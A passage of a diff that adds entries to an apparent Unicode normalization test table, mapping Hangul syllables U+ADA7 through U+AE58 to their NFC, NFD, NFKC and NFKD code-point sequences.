+{ source: [0xADA7], NFC: [0xADA7], NFD: [0x1100, 0x1170, 0x11AA], NFKC: [0xADA7], NFKD: [0x1100, 0x1170, 0x11AA] },
+{ source: [0xADA8], NFC: [0xADA8], NFD: [0x1100, 0x1170, 0x11AB], NFKC: [0xADA8], NFKD: [0x1100, 0x1170, 0x11AB] },
+{ source: [0xADA9], NFC: [0xADA9], NFD: [0x1100, 0x1170, 0x11AC], NFKC: [0xADA9], NFKD: [0x1100, 0x1170, 0x11AC] },
+{ source: [0xADAA], NFC: [0xADAA], NFD: [0x1100, 0x1170, 0x11AD], NFKC: [0xADAA], NFKD: [0x1100, 0x1170, 0x11AD] },
+{ source: [0xADAB], NFC: [0xADAB], NFD: [0x1100, 0x1170, 0x11AE], NFKC: [0xADAB], NFKD: [0x1100, 0x1170, 0x11AE] },
+{ source: [0xADAC], NFC: [0xADAC], NFD: [0x1100, 0x1170, 0x11AF], NFKC: [0xADAC], NFKD: [0x1100, 0x1170, 0x11AF] },
+{ source: [0xADAD], NFC: [0xADAD], NFD: [0x1100, 0x1170, 0x11B0], NFKC: [0xADAD], NFKD: [0x1100, 0x1170, 0x11B0] },
+{ source: [0xADAE], NFC: [0xADAE], NFD: [0x1100, 0x1170, 0x11B1], NFKC: [0xADAE], NFKD: [0x1100, 0x1170, 0x11B1] },
+{ source: [0xADAF], NFC: [0xADAF], NFD: [0x1100, 0x1170, 0x11B2], NFKC: [0xADAF], NFKD: [0x1100, 0x1170, 0x11B2] },
+{ source: [0xADB0], NFC: [0xADB0], NFD: [0x1100, 0x1170, 0x11B3], NFKC: [0xADB0], NFKD: [0x1100, 0x1170, 0x11B3] },
+{ source: [0xADB1], NFC: [0xADB1], NFD: [0x1100, 0x1170, 0x11B4], NFKC: [0xADB1], NFKD: [0x1100, 0x1170, 0x11B4] },
+{ source: [0xADB2], NFC: [0xADB2], NFD: [0x1100, 0x1170, 0x11B5], NFKC: [0xADB2], NFKD: [0x1100, 0x1170, 0x11B5] },
+{ source: [0xADB3], NFC: [0xADB3], NFD: [0x1100, 0x1170, 0x11B6], NFKC: [0xADB3], NFKD: [0x1100, 0x1170, 0x11B6] },
+{ source: [0xADB4], NFC: [0xADB4], NFD: [0x1100, 0x1170, 0x11B7], NFKC: [0xADB4], NFKD: [0x1100, 0x1170, 0x11B7] },
+{ source: [0xADB5], NFC: [0xADB5], NFD: [0x1100, 0x1170, 0x11B8], NFKC: [0xADB5], NFKD: [0x1100, 0x1170, 0x11B8] },
+{ source: [0xADB6], NFC: [0xADB6], NFD: [0x1100, 0x1170, 0x11B9], NFKC: [0xADB6], NFKD: [0x1100, 0x1170, 0x11B9] },
+{ source: [0xADB7], NFC: [0xADB7], NFD: [0x1100, 0x1170, 0x11BA], NFKC: [0xADB7], NFKD: [0x1100, 0x1170, 0x11BA] },
+{ source: [0xADB8], NFC: [0xADB8], NFD: [0x1100, 0x1170, 0x11BB], NFKC: [0xADB8], NFKD: [0x1100, 0x1170, 0x11BB] },
+{ source: [0xADB9], NFC: [0xADB9], NFD: [0x1100, 0x1170, 0x11BC], NFKC: [0xADB9], NFKD: [0x1100, 0x1170, 0x11BC] },
+{ source: [0xADBA], NFC: [0xADBA], NFD: [0x1100, 0x1170, 0x11BD], NFKC: [0xADBA], NFKD: [0x1100, 0x1170, 0x11BD] },
+{ source: [0xADBB], NFC: [0xADBB], NFD: [0x1100, 0x1170, 0x11BE], NFKC: [0xADBB], NFKD: [0x1100, 0x1170, 0x11BE] },
+{ source: [0xADBC], NFC: [0xADBC], NFD: [0x1100, 0x1170, 0x11BF], NFKC: [0xADBC], NFKD: [0x1100, 0x1170, 0x11BF] },
+{ source: [0xADBD], NFC: [0xADBD], NFD: [0x1100, 0x1170, 0x11C0], NFKC: [0xADBD], NFKD: [0x1100, 0x1170, 0x11C0] },
+{ source: [0xADBE], NFC: [0xADBE], NFD: [0x1100, 0x1170, 0x11C1], NFKC: [0xADBE], NFKD: [0x1100, 0x1170, 0x11C1] },
+{ source: [0xADBF], NFC: [0xADBF], NFD: [0x1100, 0x1170, 0x11C2], NFKC: [0xADBF], NFKD: [0x1100, 0x1170, 0x11C2] },
+{ source: [0xADC0], NFC: [0xADC0], NFD: [0x1100, 0x1171], NFKC: [0xADC0], NFKD: [0x1100, 0x1171] },
+{ source: [0xADC1], NFC: [0xADC1], NFD: [0x1100, 0x1171, 0x11A8], NFKC: [0xADC1], NFKD: [0x1100, 0x1171, 0x11A8] },
+{ source: [0xADC2], NFC: [0xADC2], NFD: [0x1100, 0x1171, 0x11A9], NFKC: [0xADC2], NFKD: [0x1100, 0x1171, 0x11A9] },
+{ source: [0xADC3], NFC: [0xADC3], NFD: [0x1100, 0x1171, 0x11AA], NFKC: [0xADC3], NFKD: [0x1100, 0x1171, 0x11AA] },
+{ source: [0xADC4], NFC: [0xADC4], NFD: [0x1100, 0x1171, 0x11AB], NFKC: [0xADC4], NFKD: [0x1100, 0x1171, 0x11AB] },
+{ source: [0xADC5], NFC: [0xADC5], NFD: [0x1100, 0x1171, 0x11AC], NFKC: [0xADC5], NFKD: [0x1100, 0x1171, 0x11AC] },
+{ source: [0xADC6], NFC: [0xADC6], NFD: [0x1100, 0x1171, 0x11AD], NFKC: [0xADC6], NFKD: [0x1100, 0x1171, 0x11AD] },
+{ source: [0xADC7], NFC: [0xADC7], NFD: [0x1100, 0x1171, 0x11AE], NFKC: [0xADC7], NFKD: [0x1100, 0x1171, 0x11AE] },
+{ source: [0xADC8], NFC: [0xADC8], NFD: [0x1100, 0x1171, 0x11AF], NFKC: [0xADC8], NFKD: [0x1100, 0x1171, 0x11AF] },
+{ source: [0xADC9], NFC: [0xADC9], NFD: [0x1100, 0x1171, 0x11B0], NFKC: [0xADC9], NFKD: [0x1100, 0x1171, 0x11B0] },
+{ source: [0xADCA], NFC: [0xADCA], NFD: [0x1100, 0x1171, 0x11B1], NFKC: [0xADCA], NFKD: [0x1100, 0x1171, 0x11B1] },
+{ source: [0xADCB], NFC: [0xADCB], NFD: [0x1100, 0x1171, 0x11B2], NFKC: [0xADCB], NFKD: [0x1100, 0x1171, 0x11B2] },
+{ source: [0xADCC], NFC: [0xADCC], NFD: [0x1100, 0x1171, 0x11B3], NFKC: [0xADCC], NFKD: [0x1100, 0x1171, 0x11B3] },
+{ source: [0xADCD], NFC: [0xADCD], NFD: [0x1100, 0x1171, 0x11B4], NFKC: [0xADCD], NFKD: [0x1100, 0x1171, 0x11B4] },
+{ source: [0xADCE], NFC: [0xADCE], NFD: [0x1100, 0x1171, 0x11B5], NFKC: [0xADCE], NFKD: [0x1100, 0x1171, 0x11B5] },
+{ source: [0xADCF], NFC: [0xADCF], NFD: [0x1100, 0x1171, 0x11B6], NFKC: [0xADCF], NFKD: [0x1100, 0x1171, 0x11B6] },
+{ source: [0xADD0], NFC: [0xADD0], NFD: [0x1100, 0x1171, 0x11B7], NFKC: [0xADD0], NFKD: [0x1100, 0x1171, 0x11B7] },
+{ source: [0xADD1], NFC: [0xADD1], NFD: [0x1100, 0x1171, 0x11B8], NFKC: [0xADD1], NFKD: [0x1100, 0x1171, 0x11B8] },
+{ source: [0xADD2], NFC: [0xADD2], NFD: [0x1100, 0x1171, 0x11B9], NFKC: [0xADD2], NFKD: [0x1100, 0x1171, 0x11B9] },
+{ source: [0xADD3], NFC: [0xADD3], NFD: [0x1100, 0x1171, 0x11BA], NFKC: [0xADD3], NFKD: [0x1100, 0x1171, 0x11BA] },
+{ source: [0xADD4], NFC: [0xADD4], NFD: [0x1100, 0x1171, 0x11BB], NFKC: [0xADD4], NFKD: [0x1100, 0x1171, 0x11BB] },
+{ source: [0xADD5], NFC: [0xADD5], NFD: [0x1100, 0x1171, 0x11BC], NFKC: [0xADD5], NFKD: [0x1100, 0x1171, 0x11BC] },
+{ source: [0xADD6], NFC: [0xADD6], NFD: [0x1100, 0x1171, 0x11BD], NFKC: [0xADD6], NFKD: [0x1100, 0x1171, 0x11BD] },
+{ source: [0xADD7], NFC: [0xADD7], NFD: [0x1100, 0x1171, 0x11BE], NFKC: [0xADD7], NFKD: [0x1100, 0x1171, 0x11BE] },
+{ source: [0xADD8], NFC: [0xADD8], NFD: [0x1100, 0x1171, 0x11BF], NFKC: [0xADD8], NFKD: [0x1100, 0x1171, 0x11BF] },
+{ source: [0xADD9], NFC: [0xADD9], NFD: [0x1100, 0x1171, 0x11C0], NFKC: [0xADD9], NFKD: [0x1100, 0x1171, 0x11C0] },
+{ source: [0xADDA], NFC: [0xADDA], NFD: [0x1100, 0x1171, 0x11C1], NFKC: [0xADDA], NFKD: [0x1100, 0x1171, 0x11C1] },
+{ source: [0xADDB], NFC: [0xADDB], NFD: [0x1100, 0x1171, 0x11C2], NFKC: [0xADDB], NFKD: [0x1100, 0x1171, 0x11C2] },
+{ source: [0xADDC], NFC: [0xADDC], NFD: [0x1100, 0x1172], NFKC: [0xADDC], NFKD: [0x1100, 0x1172] },
+{ source: [0xADDD], NFC: [0xADDD], NFD: [0x1100, 0x1172, 0x11A8], NFKC: [0xADDD], NFKD: [0x1100, 0x1172, 0x11A8] },
+{ source: [0xADDE], NFC: [0xADDE], NFD: [0x1100, 0x1172, 0x11A9], NFKC: [0xADDE], NFKD: [0x1100, 0x1172, 0x11A9] },
+{ source: [0xADDF], NFC: [0xADDF], NFD: [0x1100, 0x1172, 0x11AA], NFKC: [0xADDF], NFKD: [0x1100, 0x1172, 0x11AA] },
+{ source: [0xADE0], NFC: [0xADE0], NFD: [0x1100, 0x1172, 0x11AB], NFKC: [0xADE0], NFKD: [0x1100, 0x1172, 0x11AB] },
+{ source: [0xADE1], NFC: [0xADE1], NFD: [0x1100, 0x1172, 0x11AC], NFKC: [0xADE1], NFKD: [0x1100, 0x1172, 0x11AC] },
+{ source: [0xADE2], NFC: [0xADE2], NFD: [0x1100, 0x1172, 0x11AD], NFKC: [0xADE2], NFKD: [0x1100, 0x1172, 0x11AD] },
+{ source: [0xADE3], NFC: [0xADE3], NFD: [0x1100, 0x1172, 0x11AE], NFKC: [0xADE3], NFKD: [0x1100, 0x1172, 0x11AE] },
+{ source: [0xADE4], NFC: [0xADE4], NFD: [0x1100, 0x1172, 0x11AF], NFKC: [0xADE4], NFKD: [0x1100, 0x1172, 0x11AF] },
+{ source: [0xADE5], NFC: [0xADE5], NFD: [0x1100, 0x1172, 0x11B0], NFKC: [0xADE5], NFKD: [0x1100, 0x1172, 0x11B0] },
+{ source: [0xADE6], NFC: [0xADE6], NFD: [0x1100, 0x1172, 0x11B1], NFKC: [0xADE6], NFKD: [0x1100, 0x1172, 0x11B1] },
+{ source: [0xADE7], NFC: [0xADE7], NFD: [0x1100, 0x1172, 0x11B2], NFKC: [0xADE7], NFKD: [0x1100, 0x1172, 0x11B2] },
+{ source: [0xADE8], NFC: [0xADE8], NFD: [0x1100, 0x1172, 0x11B3], NFKC: [0xADE8], NFKD: [0x1100, 0x1172, 0x11B3] },
+{ source: [0xADE9], NFC: [0xADE9], NFD: [0x1100, 0x1172, 0x11B4], NFKC: [0xADE9], NFKD: [0x1100, 0x1172, 0x11B4] },
+{ source: [0xADEA], NFC: [0xADEA], NFD: [0x1100, 0x1172, 0x11B5], NFKC: [0xADEA], NFKD: [0x1100, 0x1172, 0x11B5] },
+{ source: [0xADEB], NFC: [0xADEB], NFD: [0x1100, 0x1172, 0x11B6], NFKC: [0xADEB], NFKD: [0x1100, 0x1172, 0x11B6] },
+{ source: [0xADEC], NFC: [0xADEC], NFD: [0x1100, 0x1172, 0x11B7], NFKC: [0xADEC], NFKD: [0x1100, 0x1172, 0x11B7] },
+{ source: [0xADED], NFC: [0xADED], NFD: [0x1100, 0x1172, 0x11B8], NFKC: [0xADED], NFKD: [0x1100, 0x1172, 0x11B8] },
+{ source: [0xADEE], NFC: [0xADEE], NFD: [0x1100, 0x1172, 0x11B9], NFKC: [0xADEE], NFKD: [0x1100, 0x1172, 0x11B9] },
+{ source: [0xADEF], NFC: [0xADEF], NFD: [0x1100, 0x1172, 0x11BA], NFKC: [0xADEF], NFKD: [0x1100, 0x1172, 0x11BA] },
+{ source: [0xADF0], NFC: [0xADF0], NFD: [0x1100, 0x1172, 0x11BB], NFKC: [0xADF0], NFKD: [0x1100, 0x1172, 0x11BB] },
+{ source: [0xADF1], NFC: [0xADF1], NFD: [0x1100, 0x1172, 0x11BC], NFKC: [0xADF1], NFKD: [0x1100, 0x1172, 0x11BC] },
+{ source: [0xADF2], NFC: [0xADF2], NFD: [0x1100, 0x1172, 0x11BD], NFKC: [0xADF2], NFKD: [0x1100, 0x1172, 0x11BD] },
+{ source: [0xADF3], NFC: [0xADF3], NFD: [0x1100, 0x1172, 0x11BE], NFKC: [0xADF3], NFKD: [0x1100, 0x1172, 0x11BE] },
+{ source: [0xADF4], NFC: [0xADF4], NFD: [0x1100, 0x1172, 0x11BF], NFKC: [0xADF4], NFKD: [0x1100, 0x1172, 0x11BF] },
+{ source: [0xADF5], NFC: [0xADF5], NFD: [0x1100, 0x1172, 0x11C0], NFKC: [0xADF5], NFKD: [0x1100, 0x1172, 0x11C0] },
+{ source: [0xADF6], NFC: [0xADF6], NFD: [0x1100, 0x1172, 0x11C1], NFKC: [0xADF6], NFKD: [0x1100, 0x1172, 0x11C1] },
+{ source: [0xADF7], NFC: [0xADF7], NFD: [0x1100, 0x1172, 0x11C2], NFKC: [0xADF7], NFKD: [0x1100, 0x1172, 0x11C2] },
+{ source: [0xADF8], NFC: [0xADF8], NFD: [0x1100, 0x1173], NFKC: [0xADF8], NFKD: [0x1100, 0x1173] },
+{ source: [0xADF9], NFC: [0xADF9], NFD: [0x1100, 0x1173, 0x11A8], NFKC: [0xADF9], NFKD: [0x1100, 0x1173, 0x11A8] },
+{ source: [0xADFA], NFC: [0xADFA], NFD: [0x1100, 0x1173, 0x11A9], NFKC: [0xADFA], NFKD: [0x1100, 0x1173, 0x11A9] },
+{ source: [0xADFB], NFC: [0xADFB], NFD: [0x1100, 0x1173, 0x11AA], NFKC: [0xADFB], NFKD: [0x1100, 0x1173, 0x11AA] },
+{ source: [0xADFC], NFC: [0xADFC], NFD: [0x1100, 0x1173, 0x11AB], NFKC: [0xADFC], NFKD: [0x1100, 0x1173, 0x11AB] },
+{ source: [0xADFD], NFC: [0xADFD], NFD: [0x1100, 0x1173, 0x11AC], NFKC: [0xADFD], NFKD: [0x1100, 0x1173, 0x11AC] },
+{ source: [0xADFE], NFC: [0xADFE], NFD: [0x1100, 0x1173, 0x11AD], NFKC: [0xADFE], NFKD: [0x1100, 0x1173, 0x11AD] },
+{ source: [0xADFF], NFC: [0xADFF], NFD: [0x1100, 0x1173, 0x11AE], NFKC: [0xADFF], NFKD: [0x1100, 0x1173, 0x11AE] },
+{ source: [0xAE00], NFC: [0xAE00], NFD: [0x1100, 0x1173, 0x11AF], NFKC: [0xAE00], NFKD: [0x1100, 0x1173, 0x11AF] },
+{ source: [0xAE01], NFC: [0xAE01], NFD: [0x1100, 0x1173, 0x11B0], NFKC: [0xAE01], NFKD: [0x1100, 0x1173, 0x11B0] },
+{ source: [0xAE02], NFC: [0xAE02], NFD: [0x1100, 0x1173, 0x11B1], NFKC: [0xAE02], NFKD: [0x1100, 0x1173, 0x11B1] },
+{ source: [0xAE03], NFC: [0xAE03], NFD: [0x1100, 0x1173, 0x11B2], NFKC: [0xAE03], NFKD: [0x1100, 0x1173, 0x11B2] },
+{ source: [0xAE04], NFC: [0xAE04], NFD: [0x1100, 0x1173, 0x11B3], NFKC: [0xAE04], NFKD: [0x1100, 0x1173, 0x11B3] },
+{ source: [0xAE05], NFC: [0xAE05], NFD: [0x1100, 0x1173, 0x11B4], NFKC: [0xAE05], NFKD: [0x1100, 0x1173, 0x11B4] },
+{ source: [0xAE06], NFC: [0xAE06], NFD: [0x1100, 0x1173, 0x11B5], NFKC: [0xAE06], NFKD: [0x1100, 0x1173, 0x11B5] },
+{ source: [0xAE07], NFC: [0xAE07], NFD: [0x1100, 0x1173, 0x11B6], NFKC: [0xAE07], NFKD: [0x1100, 0x1173, 0x11B6] },
+{ source: [0xAE08], NFC: [0xAE08], NFD: [0x1100, 0x1173, 0x11B7], NFKC: [0xAE08], NFKD: [0x1100, 0x1173, 0x11B7] },
+{ source: [0xAE09], NFC: [0xAE09], NFD: [0x1100, 0x1173, 0x11B8], NFKC: [0xAE09], NFKD: [0x1100, 0x1173, 0x11B8] },
+{ source: [0xAE0A], NFC: [0xAE0A], NFD: [0x1100, 0x1173, 0x11B9], NFKC: [0xAE0A], NFKD: [0x1100, 0x1173, 0x11B9] },
+{ source: [0xAE0B], NFC: [0xAE0B], NFD: [0x1100, 0x1173, 0x11BA], NFKC: [0xAE0B], NFKD: [0x1100, 0x1173, 0x11BA] },
+{ source: [0xAE0C], NFC: [0xAE0C], NFD: [0x1100, 0x1173, 0x11BB], NFKC: [0xAE0C], NFKD: [0x1100, 0x1173, 0x11BB] },
+{ source: [0xAE0D], NFC: [0xAE0D], NFD: [0x1100, 0x1173, 0x11BC], NFKC: [0xAE0D], NFKD: [0x1100, 0x1173, 0x11BC] },
+{ source: [0xAE0E], NFC: [0xAE0E], NFD: [0x1100, 0x1173, 0x11BD], NFKC: [0xAE0E], NFKD: [0x1100, 0x1173, 0x11BD] },
+{ source: [0xAE0F], NFC: [0xAE0F], NFD: [0x1100, 0x1173, 0x11BE], NFKC: [0xAE0F], NFKD: [0x1100, 0x1173, 0x11BE] },
+{ source: [0xAE10], NFC: [0xAE10], NFD: [0x1100, 0x1173, 0x11BF], NFKC: [0xAE10], NFKD: [0x1100, 0x1173, 0x11BF] },
+{ source: [0xAE11], NFC: [0xAE11], NFD: [0x1100, 0x1173, 0x11C0], NFKC: [0xAE11], NFKD: [0x1100, 0x1173, 0x11C0] },
+{ source: [0xAE12], NFC: [0xAE12], NFD: [0x1100, 0x1173, 0x11C1], NFKC: [0xAE12], NFKD: [0x1100, 0x1173, 0x11C1] },
+{ source: [0xAE13], NFC: [0xAE13], NFD: [0x1100, 0x1173, 0x11C2], NFKC: [0xAE13], NFKD: [0x1100, 0x1173, 0x11C2] },
+{ source: [0xAE14], NFC: [0xAE14], NFD: [0x1100, 0x1174], NFKC: [0xAE14], NFKD: [0x1100, 0x1174] },
+{ source: [0xAE15], NFC: [0xAE15], NFD: [0x1100, 0x1174, 0x11A8], NFKC: [0xAE15], NFKD: [0x1100, 0x1174, 0x11A8] },
+{ source: [0xAE16], NFC: [0xAE16], NFD: [0x1100, 0x1174, 0x11A9], NFKC: [0xAE16], NFKD: [0x1100, 0x1174, 0x11A9] },
+{ source: [0xAE17], NFC: [0xAE17], NFD: [0x1100, 0x1174, 0x11AA], NFKC: [0xAE17], NFKD: [0x1100, 0x1174, 0x11AA] },
+{ source: [0xAE18], NFC: [0xAE18], NFD: [0x1100, 0x1174, 0x11AB], NFKC: [0xAE18], NFKD: [0x1100, 0x1174, 0x11AB] },
+{ source: [0xAE19], NFC: [0xAE19], NFD: [0x1100, 0x1174, 0x11AC], NFKC: [0xAE19], NFKD: [0x1100, 0x1174, 0x11AC] },
+{ source: [0xAE1A], NFC: [0xAE1A], NFD: [0x1100, 0x1174, 0x11AD], NFKC: [0xAE1A], NFKD: [0x1100, 0x1174, 0x11AD] },
+{ source: [0xAE1B], NFC: [0xAE1B], NFD: [0x1100, 0x1174, 0x11AE], NFKC: [0xAE1B], NFKD: [0x1100, 0x1174, 0x11AE] },
+{ source: [0xAE1C], NFC: [0xAE1C], NFD: [0x1100, 0x1174, 0x11AF], NFKC: [0xAE1C], NFKD: [0x1100, 0x1174, 0x11AF] },
+{ source: [0xAE1D], NFC: [0xAE1D], NFD: [0x1100, 0x1174, 0x11B0], NFKC: [0xAE1D], NFKD: [0x1100, 0x1174, 0x11B0] },
+{ source: [0xAE1E], NFC: [0xAE1E], NFD: [0x1100, 0x1174, 0x11B1], NFKC: [0xAE1E], NFKD: [0x1100, 0x1174, 0x11B1] },
+{ source: [0xAE1F], NFC: [0xAE1F], NFD: [0x1100, 0x1174, 0x11B2], NFKC: [0xAE1F], NFKD: [0x1100, 0x1174, 0x11B2] },
+{ source: [0xAE20], NFC: [0xAE20], NFD: [0x1100, 0x1174, 0x11B3], NFKC: [0xAE20], NFKD: [0x1100, 0x1174, 0x11B3] },
+{ source: [0xAE21], NFC: [0xAE21], NFD: [0x1100, 0x1174, 0x11B4], NFKC: [0xAE21], NFKD: [0x1100, 0x1174, 0x11B4] },
+{ source: [0xAE22], NFC: [0xAE22], NFD: [0x1100, 0x1174, 0x11B5], NFKC: [0xAE22], NFKD: [0x1100, 0x1174, 0x11B5] },
+{ source: [0xAE23], NFC: [0xAE23], NFD: [0x1100, 0x1174, 0x11B6], NFKC: [0xAE23], NFKD: [0x1100, 0x1174, 0x11B6] },
+{ source: [0xAE24], NFC: [0xAE24], NFD: [0x1100, 0x1174, 0x11B7], NFKC: [0xAE24], NFKD: [0x1100, 0x1174, 0x11B7] },
+{ source: [0xAE25], NFC: [0xAE25], NFD: [0x1100, 0x1174, 0x11B8], NFKC: [0xAE25], NFKD: [0x1100, 0x1174, 0x11B8] },
+{ source: [0xAE26], NFC: [0xAE26], NFD: [0x1100, 0x1174, 0x11B9], NFKC: [0xAE26], NFKD: [0x1100, 0x1174, 0x11B9] },
+{ source: [0xAE27], NFC: [0xAE27], NFD: [0x1100, 0x1174, 0x11BA], NFKC: [0xAE27], NFKD: [0x1100, 0x1174, 0x11BA] },
+{ source: [0xAE28], NFC: [0xAE28], NFD: [0x1100, 0x1174, 0x11BB], NFKC: [0xAE28], NFKD: [0x1100, 0x1174, 0x11BB] },
+{ source: [0xAE29], NFC: [0xAE29], NFD: [0x1100, 0x1174, 0x11BC], NFKC: [0xAE29], NFKD: [0x1100, 0x1174, 0x11BC] },
+{ source: [0xAE2A], NFC: [0xAE2A], NFD: [0x1100, 0x1174, 0x11BD], NFKC: [0xAE2A], NFKD: [0x1100, 0x1174, 0x11BD] },
+{ source: [0xAE2B], NFC: [0xAE2B], NFD: [0x1100, 0x1174, 0x11BE], NFKC: [0xAE2B], NFKD: [0x1100, 0x1174, 0x11BE] },
+{ source: [0xAE2C], NFC: [0xAE2C], NFD: [0x1100, 0x1174, 0x11BF], NFKC: [0xAE2C], NFKD: [0x1100, 0x1174, 0x11BF] },
+{ source: [0xAE2D], NFC: [0xAE2D], NFD: [0x1100, 0x1174, 0x11C0], NFKC: [0xAE2D], NFKD: [0x1100, 0x1174, 0x11C0] },
+{ source: [0xAE2E], NFC: [0xAE2E], NFD: [0x1100, 0x1174, 0x11C1], NFKC: [0xAE2E], NFKD: [0x1100, 0x1174, 0x11C1] },
+{ source: [0xAE2F], NFC: [0xAE2F], NFD: [0x1100, 0x1174, 0x11C2], NFKC: [0xAE2F], NFKD: [0x1100, 0x1174, 0x11C2] },
+{ source: [0xAE30], NFC: [0xAE30], NFD: [0x1100, 0x1175], NFKC: [0xAE30], NFKD: [0x1100, 0x1175] },
+{ source: [0xAE31], NFC: [0xAE31], NFD: [0x1100, 0x1175, 0x11A8], NFKC: [0xAE31], NFKD: [0x1100, 0x1175, 0x11A8] },
+{ source: [0xAE32], NFC: [0xAE32], NFD: [0x1100, 0x1175, 0x11A9], NFKC: [0xAE32], NFKD: [0x1100, 0x1175, 0x11A9] },
+{ source: [0xAE33], NFC: [0xAE33], NFD: [0x1100, 0x1175, 0x11AA], NFKC: [0xAE33], NFKD: [0x1100, 0x1175, 0x11AA] },
+{ source: [0xAE34], NFC: [0xAE34], NFD: [0x1100, 0x1175, 0x11AB], NFKC: [0xAE34], NFKD: [0x1100, 0x1175, 0x11AB] },
+{ source: [0xAE35], NFC: [0xAE35], NFD: [0x1100, 0x1175, 0x11AC], NFKC: [0xAE35], NFKD: [0x1100, 0x1175, 0x11AC] },
+{ source: [0xAE36], NFC: [0xAE36], NFD: [0x1100, 0x1175, 0x11AD], NFKC: [0xAE36], NFKD: [0x1100, 0x1175, 0x11AD] },
+{ source: [0xAE37], NFC: [0xAE37], NFD: [0x1100, 0x1175, 0x11AE], NFKC: [0xAE37], NFKD: [0x1100, 0x1175, 0x11AE] },
+{ source: [0xAE38], NFC: [0xAE38], NFD: [0x1100, 0x1175, 0x11AF], NFKC: [0xAE38], NFKD: [0x1100, 0x1175, 0x11AF] },
+{ source: [0xAE39], NFC: [0xAE39], NFD: [0x1100, 0x1175, 0x11B0], NFKC: [0xAE39], NFKD: [0x1100, 0x1175, 0x11B0] },
+{ source: [0xAE3A], NFC: [0xAE3A], NFD: [0x1100, 0x1175, 0x11B1], NFKC: [0xAE3A], NFKD: [0x1100, 0x1175, 0x11B1] },
+{ source: [0xAE3B], NFC: [0xAE3B], NFD: [0x1100, 0x1175, 0x11B2], NFKC: [0xAE3B], NFKD: [0x1100, 0x1175, 0x11B2] },
+{ source: [0xAE3C], NFC: [0xAE3C], NFD: [0x1100, 0x1175, 0x11B3], NFKC: [0xAE3C], NFKD: [0x1100, 0x1175, 0x11B3] },
+{ source: [0xAE3D], NFC: [0xAE3D], NFD: [0x1100, 0x1175, 0x11B4], NFKC: [0xAE3D], NFKD: [0x1100, 0x1175, 0x11B4] },
+{ source: [0xAE3E], NFC: [0xAE3E], NFD: [0x1100, 0x1175, 0x11B5], NFKC: [0xAE3E], NFKD: [0x1100, 0x1175, 0x11B5] },
+{ source: [0xAE3F], NFC: [0xAE3F], NFD: [0x1100, 0x1175, 0x11B6], NFKC: [0xAE3F], NFKD: [0x1100, 0x1175, 0x11B6] },
+{ source: [0xAE40], NFC: [0xAE40], NFD: [0x1100, 0x1175, 0x11B7], NFKC: [0xAE40], NFKD: [0x1100, 0x1175, 0x11B7] },
+{ source: [0xAE41], NFC: [0xAE41], NFD: [0x1100, 0x1175, 0x11B8], NFKC: [0xAE41], NFKD: [0x1100, 0x1175, 0x11B8] },
+{ source: [0xAE42], NFC: [0xAE42], NFD: [0x1100, 0x1175, 0x11B9], NFKC: [0xAE42], NFKD: [0x1100, 0x1175, 0x11B9] },
+{ source: [0xAE43], NFC: [0xAE43], NFD: [0x1100, 0x1175, 0x11BA], NFKC: [0xAE43], NFKD: [0x1100, 0x1175, 0x11BA] },
+{ source: [0xAE44], NFC: [0xAE44], NFD: [0x1100, 0x1175, 0x11BB], NFKC: [0xAE44], NFKD: [0x1100, 0x1175, 0x11BB] },
+{ source: [0xAE45], NFC: [0xAE45], NFD: [0x1100, 0x1175, 0x11BC], NFKC: [0xAE45], NFKD: [0x1100, 0x1175, 0x11BC] },
+{ source: [0xAE46], NFC: [0xAE46], NFD: [0x1100, 0x1175, 0x11BD], NFKC: [0xAE46], NFKD: [0x1100, 0x1175, 0x11BD] },
+{ source: [0xAE47], NFC: [0xAE47], NFD: [0x1100, 0x1175, 0x11BE], NFKC: [0xAE47], NFKD: [0x1100, 0x1175, 0x11BE] },
+{ source: [0xAE48], NFC: [0xAE48], NFD: [0x1100, 0x1175, 0x11BF], NFKC: [0xAE48], NFKD: [0x1100, 0x1175, 0x11BF] },
+{ source: [0xAE49], NFC: [0xAE49], NFD: [0x1100, 0x1175, 0x11C0], NFKC: [0xAE49], NFKD: [0x1100, 0x1175, 0x11C0] },
+{ source: [0xAE4A], NFC: [0xAE4A], NFD: [0x1100, 0x1175, 0x11C1], NFKC: [0xAE4A], NFKD: [0x1100, 0x1175, 0x11C1] },
+{ source: [0xAE4B], NFC: [0xAE4B], NFD: [0x1100, 0x1175, 0x11C2], NFKC: [0xAE4B], NFKD: [0x1100, 0x1175, 0x11C2] },
+{ source: [0xAE4C], NFC: [0xAE4C], NFD: [0x1101, 0x1161], NFKC: [0xAE4C], NFKD: [0x1101, 0x1161] },
+{ source: [0xAE4D], NFC: [0xAE4D], NFD: [0x1101, 0x1161, 0x11A8], NFKC: [0xAE4D], NFKD: [0x1101, 0x1161, 0x11A8] },
+{ source: [0xAE4E], NFC: [0xAE4E], NFD: [0x1101, 0x1161, 0x11A9], NFKC: [0xAE4E], NFKD: [0x1101, 0x1161, 0x11A9] },
+{ source: [0xAE4F], NFC: [0xAE4F], NFD: [0x1101, 0x1161, 0x11AA], NFKC: [0xAE4F], NFKD: [0x1101, 0x1161, 0x11AA] },
+{ source: [0xAE50], NFC: [0xAE50], NFD: [0x1101, 0x1161, 0x11AB], NFKC: [0xAE50], NFKD: [0x1101, 0x1161, 0x11AB] },
+{ source: [0xAE51], NFC: [0xAE51], NFD: [0x1101, 0x1161, 0x11AC], NFKC: [0xAE51], NFKD: [0x1101, 0x1161, 0x11AC] },
+{ source: [0xAE52], NFC: [0xAE52], NFD: [0x1101, 0x1161, 0x11AD], NFKC: [0xAE52], NFKD: [0x1101, 0x1161, 0x11AD] },
+{ source: [0xAE53], NFC: [0xAE53], NFD: [0x1101, 0x1161, 0x11AE], NFKC: [0xAE53], NFKD: [0x1101, 0x1161, 0x11AE] },
+{ source: [0xAE54], NFC: [0xAE54], NFD: [0x1101, 0x1161, 0x11AF], NFKC: [0xAE54], NFKD: [0x1101, 0x1161, 0x11AF] },
+{ source: [0xAE55], NFC: [0xAE55], NFD: [0x1101, 0x1161, 0x11B0], NFKC: [0xAE55], NFKD: [0x1101, 0x1161, 0x11B0] },
+{ source: [0xAE56], NFC: [0xAE56], NFD: [0x1101, 0x1161, 0x11B1], NFKC: [0xAE56], NFKD: [0x1101, 0x1161, 0x11B1] },
+{ source: [0xAE57], NFC: [0xAE57], NFD: [0x1101, 0x1161, 0x11B2], NFKC: [0xAE57], NFKD: [0x1101, 0x1161, 0x11B2] },
+{ source: [0xAE58], NFC: [0xAE58], NFD: [0x1101, 0x1161, 0x11B3], NFKC: [0xAE58], NFKD: [0x1101, 0x1161, 0x11B3] },
